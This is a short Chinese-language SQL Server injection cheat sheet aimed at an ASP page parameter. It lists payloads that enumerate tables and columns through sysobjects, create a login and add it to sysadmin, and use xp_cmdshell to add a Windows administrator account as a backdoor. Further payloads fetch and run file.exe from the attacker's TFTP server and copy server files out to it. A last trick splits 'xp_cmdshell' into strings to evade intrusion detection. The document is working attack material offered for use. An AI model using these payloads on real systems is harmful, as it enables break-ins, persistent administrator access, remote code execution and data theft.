[獲得數據表名][將字段值更新為表名,再想法讀出這個字段的值就可得到表名] update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一個加一個]) [ where 條件]
[獲得數據表字段名][將字段值更新為字段名,再想法讀出這個字段的值就可得到字段名] update 表名 set 字段=(select top 1 col_name(object_id('要查詢的數據表名'),字段列如:1) [ where 條件]
也可以這樣更簡捷的獲取表名:
select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)
通過SQLSERVER注入漏洞建數據庫管理員帳號和系統管理員帳號[當前帳號必須是SYSADMIN組]
news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //添加數據庫用戶用戶test,密碼為test news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //如果想改密碼,則用這句(將test的密碼改為123456) news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //將test加到sysadmin組,這個組的成員可執行任何操作 news.asp?id=2;exec master.dbo.xp_cmdshell 'net user test test /add';-- //添加系統用戶test,密碼為test news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators test /add';-- //將系統用戶test提升為管理員
這樣,你在他的數據庫和系統內都留下了test管理員賬號了
下面是如何從你的服器下載文件file.exe后運行它[前提是你必須將你的電腦設為TFTP服務器,將69端口打開]
id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的IP get file.exe';--
然后運行這個文件: id=2; exec master.dbo.xp_cmdshell 'file.exe';--
下載服務器的文件file2.doc到本地TFTP服務器[文件必須存在]:
id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的IP Put file2.doc';--
繞過IDS的檢測[使用變量] declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\' declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'
|